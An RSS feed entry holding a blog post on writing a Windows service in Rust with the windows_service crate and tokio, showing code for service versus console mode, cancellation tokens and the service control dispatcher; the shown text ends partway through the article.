<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Windows on David Hamann</title><link>https://davidhamann.de/tags/windows/</link><description>Recent content in Windows on David Hamann</description><generator>Hugo</generator><language>en</language><copyright>&amp;copy; David Hamann</copyright><lastBuildDate>Sat, 28 Feb 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://davidhamann.de/tags/windows/feed.xml" rel="self" type="application/rss+xml"/><item><title>Writing a Windows Service in Rust</title><link>https://davidhamann.de/2026/02/28/writing-a-windows-service-in-rust/</link><pubDate>Sat, 28 Feb 2026 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2026/02/28/writing-a-windows-service-in-rust/</guid><description>&lt;p&gt;I&amp;rsquo;m currently writing a cross-platform server application in Rust which should also be able to run as a service on Windows.&lt;/p&gt;
&lt;p&gt;While this sounds like a relatively straight-forward thing to do, it was a bit more involved than I originally thought (especially compared to running unix services).&lt;/p&gt;
&lt;p&gt;Below you&amp;rsquo;ll find my notes and a well-documented code sample for running a small echo server for demonstration purposes as a Windows service. I&amp;rsquo;m going to cover service initialization, responding to control commands (like STOP) and also handling shutdowns in a tokio runtime setting where the individual tasks need to be cancelled. The sample application can also be run in console mode and the Windows service parts are conditionally compiled – so you can run/compile it on Unix systems for console mode use as well.&lt;/p&gt;
&lt;p&gt;I decided to use the &lt;a href="https://docs.rs/windows-service/latest/windows_service/index.html"&gt;windows_service&lt;/a&gt; crate which abstracts the Windows API calls away and gives you an easy interface to work with.&lt;/p&gt;
&lt;p&gt;The service can be installed with: &lt;code&gt;sc.exe create sample-service binPath= &amp;quot;C:\path\to\target\app.exe --service&amp;quot;&lt;/code&gt; (&lt;code&gt;sample-service&lt;/code&gt; can also be any other name, but it&amp;rsquo;s important to refer to the same name in the code as well. &lt;code&gt;--service&lt;/code&gt; is just an argument for this sample code.)&lt;/p&gt;
&lt;p&gt;You can find the &lt;a href="https://github.com/davidhamann/windows-service-experiment"&gt;complete code here on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="main-service-vs-console-mode"&gt;main(): Service vs. console mode&lt;/h2&gt;
&lt;p&gt;The application we are going to build should be able to be started as a Windows service but also retain the option to run in console mode. Since the service mode is only available on Windows, certain blocks have to be marked for conditional compilation with the &lt;code&gt;cfg&lt;/code&gt; attribute.&lt;/p&gt;
&lt;p&gt;We want to use the &lt;a href="https://tokio.rs"&gt;tokio&lt;/a&gt; asynchronous runtime but have the two mentioned startup cases – service and console mode. This means we can&amp;rsquo;t rely on tokio&amp;rsquo;s &lt;a href="https://docs.rs/tokio/latest/tokio/attr.main.html"&gt;main macro attribute&lt;/a&gt; to set things up for us. In the service case, our runtime needs to be set up in a separate thread as the main one will block after calling the Windows service control dispatcher. So we will build the runtime in our &lt;code&gt;main&lt;/code&gt; function only in the non-service branch.&lt;/p&gt;
&lt;p&gt;Finally, to be able to stop our application and its multiple connection handling tasks – in both service and console mode –, we have to create a &lt;a href="https://docs.rs/tokio-util/latest/tokio_util/sync/struct.CancellationToken.html"&gt;&lt;code&gt;CancellationToken&lt;/code&gt;&lt;/a&gt; and pass it to our app&amp;rsquo;s individual tasks to receive a signal for a cancellation request (such as a STOP request from the service control manager, SCM, or ctrl-C in console mode) – more on that later in the post.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run_app&lt;/code&gt; will be our actual application start.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s our &lt;code&gt;main&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;env&lt;/span&gt;::&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;--service&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;#[cfg(windows)]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// service mode (Windows)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;win_service&lt;/span&gt;::&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// note that this error is only visible if you accidentally
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// run --service in non-service mode. It might make sense
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// to log to the Windows Event Log here.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;#[cfg(not(windows))]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;--service flag is only supported on Windows&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;process&lt;/span&gt;::&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// normal console mode (manually started on Windows/Linux/macOS)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;runtime&lt;/span&gt;::&lt;span class="n"&gt;Runtime&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Error setting up tokio Runtime: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CancellationToken&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token_clone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;block_on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;move&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;signal&lt;/span&gt;::&lt;span class="n"&gt;ctrl_c&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Got Ctrl-C, shutting down...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cancel&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;run_app&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token_clone&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Got error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="defining-entry-point-and-starting-service-control-dispatcher"&gt;Defining entry point and starting service control dispatcher&lt;/h2&gt;
&lt;p&gt;As can be seen in &lt;code&gt;main&lt;/code&gt;, the service mode will call &lt;code&gt;start()&lt;/code&gt; from our &lt;code&gt;win_service&lt;/code&gt; module.&lt;/p&gt;
&lt;p&gt;In it, we call &lt;code&gt;service_dispatcher::start&lt;/code&gt; from the &lt;code&gt;windows_service&lt;/code&gt; crate, which is a wrapper around the Win32 &lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-startservicectrldispatcherw"&gt;&lt;code&gt;StartServiceCtrlDispatcher&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;
&lt;p&gt;When running an application as a service, the executable is supposed to call this function right in the beginning, and pass the service name and a pointer to the application&amp;rsquo;s entry point function. In the below code, this function is called &lt;code&gt;ffi_service_main&lt;/code&gt; and is being generated by the &lt;code&gt;define_windows_service!&lt;/code&gt; macro (the Windows API requires an entry point with the signature &lt;code&gt;extern &amp;quot;system&amp;quot; fn(u32, *mut *mut u16)&lt;/code&gt;, &amp;ldquo;system&amp;rdquo; being the standard calling convention on the Windows system).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;service_dispatcher::start&lt;/code&gt; will block until we&amp;rsquo;re done or the application stops for another reason, and &lt;code&gt;ffi_service_main&lt;/code&gt; will be called in a new thread to be able to start the initialization process.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;mod&lt;/span&gt; &lt;span class="nn"&gt;win_service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;SERVICE_NAME&lt;/span&gt;: &lt;span class="kp"&gt;&amp;amp;&lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;sample-service&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// important to match the service name!
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;define_windows_service!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ffi_service_main&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;app_service_main&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;windows_service&lt;/span&gt;::&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_dispatcher&lt;/span&gt;::&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;SERVICE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ffi_service_main&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;windows_service&lt;/code&gt; crate abstracts the Windows API from us and we can build our actual service initialization logic in the function named &lt;code&gt;app_service_main&lt;/code&gt; in the code below. This must just be a function which takes &lt;code&gt;Vec&amp;lt;OsString&amp;gt;&lt;/code&gt; and will be called by &lt;code&gt;ffi_service_main&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Depending on your service, you can ignore the arguments as these are just the service start parameters, not the arguments to your app (i.e. &lt;code&gt;sc.exe start &amp;lt;service name&amp;gt; arg1 arg2&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Our &lt;code&gt;app_service_main&lt;/code&gt; can then wrap a &lt;code&gt;run_service&lt;/code&gt; function and potentially log errors to the windows event log or a file. Once &lt;code&gt;app_service_main&lt;/code&gt; returns, the dispatcher (&lt;code&gt;service_dispatcher::start&lt;/code&gt;) eventually unblocks.&lt;/p&gt;
